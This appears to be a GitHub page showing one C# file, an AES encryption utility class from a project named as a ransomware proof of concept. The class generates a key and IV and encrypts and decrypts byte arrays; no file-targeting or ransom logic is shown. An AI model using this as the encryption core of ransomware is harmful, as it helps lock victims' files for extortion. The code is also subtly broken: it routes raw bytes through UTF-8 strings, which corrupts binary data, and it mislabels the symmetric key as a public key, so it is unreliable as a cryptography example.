-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathAesEncryption.cs
203 lines (152 loc) · 5.69 KB
/
AesEncryption.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Security.Cryptography;
namespace Ilay_sRanomwarePoc
{
static class AesEncryption //aes encryption utilities
{
private static readonly Byte[] EncryptionSymmetricKey; //aes public key
private static readonly Byte[] AesInitializationVector; //aes initalization vector
private const int DefaultAesKeySize = 256; //aes key size
static AesEncryption()
{ //sets key and iv for th aes toolkit
Aes AesEncryption = Aes.Create();
AesEncryption.GenerateKey();
AesEncryption.GenerateIV();
EncryptionSymmetricKey = AesEncryption.Key;
AesInitializationVector = AesEncryption.IV;
}
public static int GetKeySize()
{
try
{
return DefaultAesKeySize;
}
catch
{
Console.WriteLine("An error while getting default key size");
return 0;
}
}
public static Tuple<Byte[], Byte[]> GetEncryptionInfo() //gets a tuple with the key info
{
try
{
return new Tuple<Byte[], Byte[]>(EncryptionSymmetricKey, AesInitializationVector);
}
catch
{
Console.WriteLine("An error while getting symmetric info");
return null;
}
}
public static string ConvertByteToString(Byte[] array)
{
try
{
return Encoding.UTF8.GetString(array);
}
catch
{
Console.WriteLine("An error while convertig byte array to string");
return null;
}
}
public static Byte[] ConvertStringToByte(string str)
{
try
{
return Encoding.UTF8.GetBytes(str);
}
catch
{
Console.WriteLine("An error while converting string to Byte Array");
return null;
}
}
public static Byte[] EncryptDataStream(byte[] Data)
{
try
{
byte[] encrypted;
using (Aes aes = Aes.Create())
{
//setting parameters
aes.Key = EncryptionSymmetricKey;
aes.IV = AesInitializationVector;
aes.Padding = PaddingMode.Zeros;
//setting memory and cryptogrphic objects
ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);
using MemoryStream MemoryStreamEncrypt = new MemoryStream();
using CryptoStream CryptographicStreamEncrypt = new CryptoStream(MemoryStreamEncrypt, encryptor, CryptoStreamMode.Write);
using (StreamWriter StreaWriterEncrypt = new StreamWriter(CryptographicStreamEncrypt))
{
//encrypting
StreaWriterEncrypt.Write(AesEncryption.ConvertByteToString(Data));
}
//the encrypted data in Byte Array
encrypted = MemoryStreamEncrypt.ToArray();
}
return encrypted;
}
catch
{
Console.WriteLine("An error while encrypting a data stream");
return null;
}
}
public static byte[] GetAesInitializationVector()
{
try
{
return AesInitializationVector;
}
catch
{
Console.WriteLine("An Error while getting aes initializataion vector");
return null;
}
}
public static Byte[] GetEncryptionPublicKey()//for the "AsymmetricProtection"
{
try
{
return EncryptionSymmetricKey;
}
catch
{
Console.WriteLine("An Error while getting symmetric key");
return null;
}
}
public static Byte[] DecryptDataStream(Byte[] Data)
{
try
{
using (Aes aes = Aes.Create())
{ //setting arameters
string DecryptedData;
aes.Padding = PaddingMode.Zeros;
//setting cryptographic objects
ICryptoTransform Decryptor = aes.CreateDecryptor(EncryptionSymmetricKey, AesInitializationVector);
using MemoryStream MemoryStreamDecrypt = new MemoryStream(Data);
using CryptoStream CryptographicStreamDecrypt = new CryptoStream(MemoryStreamDecrypt, Decryptor, CryptoStreamMode.Read);
using (StreamReader DecryptionStreamReader = new StreamReader(CryptographicStreamDecrypt))
{
//Decrypting
DecryptedData = DecryptionStreamReader.ReadToEnd();
}
//The Decrypted Data in Byte Array
return ConvertStringToByte(DecryptedData);
}
}
catch
{
Console.WriteLine("Error while decrypting DataStream");
return null;
}
}
}
}